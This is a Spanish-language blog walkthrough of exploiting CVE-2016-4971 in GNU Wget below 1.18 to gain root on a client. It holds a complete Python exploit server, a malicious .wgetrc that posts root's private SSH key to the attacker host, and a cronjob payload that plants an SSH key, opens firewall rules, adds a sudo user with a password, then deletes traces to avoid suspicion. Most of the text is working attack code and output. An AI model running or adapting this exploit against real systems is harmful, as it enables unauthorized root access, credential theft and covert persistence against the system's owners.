Esta pagina se ve mejor con JavaScript habilitado

GNU Wget < 1.18 Arbitrary File Upload / Remote Code Execution

 ·  🎃 kr0m

En esta ocasión vamos a ver como de peligroso puede llegar a ser no tener nuestro software actualizado, vamos a mostrar como es posible conseguir shell de root en un cliente que conecta a nuestro servidor mediante una versión desactualizada de wget, mas concretamente wget < 1.18

Para realizar el ataque con éxito necesitamos un servidor web/ftp, la vulnerbilidad radica en que wget cuando conecta por http y se le hace un redirect 301 a un ftp guarda a disco el fichero del ftp sin importar el fichero que se pidió en la petición http original. Si ese fichero es la config de wget podremos hacer que en conexiones posteriores nos envíe un fichero en concreto y que guarde lo que le enviemos en cierta localización del disco.

No vamos a instalar servidores http/ftp complejos, nos bajaremos las librerias necesarias en python y escribiremos los nuestros propios, muy sencillos pero servirán para la tarea.

emerge -av dev-python/pip
pip install pyftpdlib

Generamos el fichero de config de wget de tal forma que nos sirva la private key de root y meta un cronjob:

mkdir wgetXploit
cd wgetXploit
echo “post_file = /root/.ssh/id_rsa” > .wgetrc
echo “output_document = /etc/cron.d/kr0mJob” » .wgetrc

Preparamos el fichero que pedirá originalmente wget:

echo “Good boy” > ultraSecretPass

Arrancamos nuestro servidor ftp:

RX4 # python -m pyftpdlib -p21 -w

/usr/lib64/python2.7/site-packages/pyftpdlib/authorizers.py:240: RuntimeWarning: write permissions assigned to anonymous user.
  RuntimeWarning)
[I 2016-11-02 22:33:08] >>> starting FTP server on 0.0.0.0:21, pid=26464 <<<
[I 2016-11-02 22:33:08] concurrency model: async
[I 2016-11-02 22:33:08] masquerade (NAT) address: None
[I 2016-11-02 22:33:08] passive ports: None

En otra consola escribimos el script encargado de las peticiones http, cuando la petición sea por GET lo redireccionaremos a nuestro ftp donde podrá bajarse el fichero .wgetrc, la segunda ejecución del wget ya será por POST sirviéndonos la privatekey de root y guardando el contenido que le pasemos en un cronjob, esto es debido a que la segunda ejecución aplicará la config de wget que le hemos pasado en el primer paso.

vi wget-exploit.py

#!/usr/bin/env python

#
# Wget 1.18 < Arbitrary File Upload Exploit
# Dawid Golunski
# dawid( at )legalhackers.com
#
# http://legalhackers.com/advisories/Wget-Arbitrary-File-Upload-Vulnerability-Exploit.txt
#
# CVE-2016-4971
#

import SimpleHTTPServer
import SocketServer
import socket;

class wgetExploit(SimpleHTTPServer.SimpleHTTPRequestHandler):
   def do_GET(self):
       # This takes care of sending .wgetrc

       print "We have a volunteer requesting " + self.path + " by GET :)\n"
       if "Wget" not in self.headers.getheader('User-Agent'):
          print "But it's not a Wget :( \n"
          self.send_response(200)
          self.end_headers()
          self.wfile.write("Nothing to see here...")
          return

       print "Uploading .wgetrc via ftp redirect vuln. It should land in /root \n"
       self.send_response(301)
       new_path = '%s'%('ftp://anonymous@%s:%s/.wgetrc'%(FTP_HOST, FTP_PORT) )
       print "Sending redirect to %s \n"%(new_path)
       self.send_header('Location', new_path)
       self.end_headers()

   def do_POST(self):
       # In here we will receive extracted file and install a PoC cronjob

       print "We have a volunteer requesting " + self.path + " by POST :)\n"
       if "Wget" not in self.headers.getheader('User-Agent'):
          print "But it's not a Wget :( \n"
          self.send_response(200)
          self.end_headers()
          self.wfile.write("Nothing to see here...")
          return

       content_len = int(self.headers.getheader('content-length', 0))
       post_body = self.rfile.read(content_len)
       print "Received POST from wget: \n\n---[begin]---\n %s \n---[eof]---\n\n" % (post_body)

       print "Sending CronJob..."
       self.send_response(200)
       self.send_header('Content-type', 'text/plain')
       self.end_headers()
       self.wfile.write(ROOT_CRON)

       return

HTTP_LISTEN_IP = '192.168.20.27'
HTTP_LISTEN_PORT = 80
FTP_HOST = '192.168.20.27'
FTP_PORT = 21

ROOT_CRON = "* * * * * root /bin/echo 'ssh-rsa AABBCCDDEEFFGGHHIIJJKKLLMMNNOOPPQQRRSSTTUUVVWWXXYYZZ kr0m@ASD' >> /root/.ssh/authorized_keys && /sbin/iptables -I INPUT 1 -s 192.168.20.27 -j ACCEPT && /sbin/iptables -I OUTPUT 1 -d 192.168.20.27 -j ACCEPT && /usr/sbin/useradd kr0m && /bin/echo 'kr0m ALL=(ALL:ALL) ALL' >> /etc/sudoers && /bin/echo 'kr0m:kr0mpass' | /usr/sbin/chpasswd \n"

handler = SocketServer.TCPServer((HTTP_LISTEN_IP, HTTP_LISTEN_PORT), wgetExploit)

print "Ready? Is your FTP server running?"

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
result = sock.connect_ex((FTP_HOST, FTP_PORT))
if result == 0:
   print "FTP found open on %s:%s. Let's go then\n" % (FTP_HOST, FTP_PORT)
else:
   print "FTP is down :( Exiting."
   exit(1)

print "Serving wget exploit on port %s...\n\n" % HTTP_LISTEN_PORT

handler.serve_forever()

Arrancamos nuestro servidor http:

RX4 # python wget-exploit.py

Ready? Is your FTP server running?
FTP found open on 192.168.20.27:21. Let's go then

Serving wget exploit on port 80...

El cliente conecta con nosotros vía http:

root@heaven:~# wget http://192.168.20.27/ultraSecretPass

--2016-11-02 22:35:54-- http://192.168.20.27/ultraSecretPass
Connecting to 192.168.20.27:80... connected.
HTTP request sent, awaiting response... 301 Moved Permanently
Location: ftp://anonymous@192.168.20.27:21/.wgetrc [following]
--2016-11-02 22:35:54-- ftp://anonymous@192.168.20.27/.wgetrc
 => “.wgetrc”
Connecting to 192.168.20.27:21... connected.
Logging in as anonymous ... Logged in!
==> SYST ... done. ==> PWD ... done.
==> TYPE I ... done. ==> CWD not needed.
==> SIZE .wgetrc ... 68
==> PASV ... done. ==> RETR .wgetrc ... done.
2016-11-02 22:35:54 (6.07 MB/s) - “.wgetrc” saved [68]

Comprobamos en el cliente que efectivamente la config de wget ha sido reemplazada, en la próxima conexión nos enviará por POST el contenido de la private key y guardará en el path indicado lo que le enviemos:

root@heaven:~# cat .wgetrc
post_file = /root/.ssh/id_rsa
output_document = /etc/cron.d/kr0mJob

Ejecutamos por segunda vez el wget:

root@heaven:~# wget http://192.168.20.27/ultraSecretPass

--2016-11-02 22:36:27-- http://192.168.20.27/ultraSecretPass
Connecting to 192.168.20.27:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: unspecified [text/plain]
Saving to: “/etc/cron.d/kr0mJob”
2016-11-02 22:36:27 (105 MB/s) - “/etc/cron.d/kr0mJob” saved [694]

En la consola de nuestro script http-server podremos ver el contenido de la private key y como le enviamos el cronjob:

RX4 #
We have a volunteer requesting /ultraSecretPass by POST :)
Received POST from wget:
---[begin]---
 -----BEGIN RSA PRIVATE KEY-----
PRIVATEKEY--PRIVATEKEY--PRIVATEKEY--PRIVATEKEY--PRIVATEKEY--
PRIVATEKEY--PRIVATEKEY--PRIVATEKEY--PRIVATEKEY--PRIVATEKEY--
PRIVATEKEY--PRIVATEKEY--PRIVATEKEY--PRIVATEKEY--PRIVATEKEY--
PRIVATEKEY--PRIVATEKEY--PRIVATEKEY--PRIVATEKEY--PRIVATEKEY--
PRIVATEKEY--PRIVATEKEY--PRIVATEKEY--PRIVATEKEY--PRIVATEKEY--
-----END RSA PRIVATE KEY-----
---[eof]---

Sending CronJob...

Esperamos al menos 1min y ya podemos ver como se ha ejecutado el cronjob con nefastos resultados.

Las reglas de iptables han sido aplicadas:

root@heaven:~# iptables -L -n --line-numbers

Chain INPUT (policy DROP)
num  target     prot opt source               destination         
1    ACCEPT     all  --  192.168.20.27        0.0.0.0/0               

Chain OUTPUT (policy DROP)
num  target     prot opt source               destination         
1    ACCEPT     all  --  0.0.0.0/0            192.168.20.27       

El usuario ha sido añadido con el password indicado y el fichero de sudo alterado con éxito:

RX4 # ssh kr0m@heaven -p22
$ id

uid=1001(kr0m) gid=1001(kr0m) groups=1001(kr0m)
$ sudo su
[sudo] password for kr0m:
root@heaven:/# id
uid=0(root) gid=0(root) groups=0(root)

Borramos el cronjob para evitar que nos duplique reglas de firewall y nos añada dos veces la key al authorized_keys de root, además borramos el .wgetrc para no levantar sospechas:

root@heaven:/# rm /etc/cron.d/kr0mJob
root@heaven:/# rm /root/.wgetrc


Este ataque es realmente efectivo pero tiene varias limitaciones:

  • El wget debe ser ejecutado por root en su home directory.
  • El wget se debe ejecutar varias veces ya sea mediante un cronjob que el sysadmin configuró con anterioridad o convenciéndolo de que ejecute la descarga de algún modo.
  • Debe estar el servicio de cron activo.
  • Debe tener sudo instalado.
  • No debe existir un .wgetrc previo ya que si así fuese nuestro fichero de config se guardaría con el nombre .wgetrc.1 desbaratando nuestros planes.
  • En el rato que tarde en ejecutarse el cronjob todas las conexiones realizadas mediante wget por el usuario fallarán hasta que borremos el .wgetrc, esto podría levantar sospechas.

Por supuesto se podría simplificar simplemente mostrando la private key y sobreescribiendo el authorized_keys con nuestra pubkey, la lista de requerimientos disminuiría pero esta táctica tiene dos inconvenientes:

  • Se perdería el contenido original del authorized_keys por lo que puede que algunas conexiones fallen y el sysadmin sospeche.
  • Podría haber reglas de firewall que nos bloqueen el paso

NOTA: Si sabemos que el wget no va a ser ejecutado por el usuario root deberemos adaptar los paths del script para que nos muestre la private key del user en cuestión y guarde nuestra public key en el authorized_keys del usuario correcto.

Espero que el artículo haya sido de vuestro agrado y que lo hayáis disfrutado tanto como yo realizando las pruebas :)

Si te ha gustado el artículo puedes invitarme a un RedBull aquí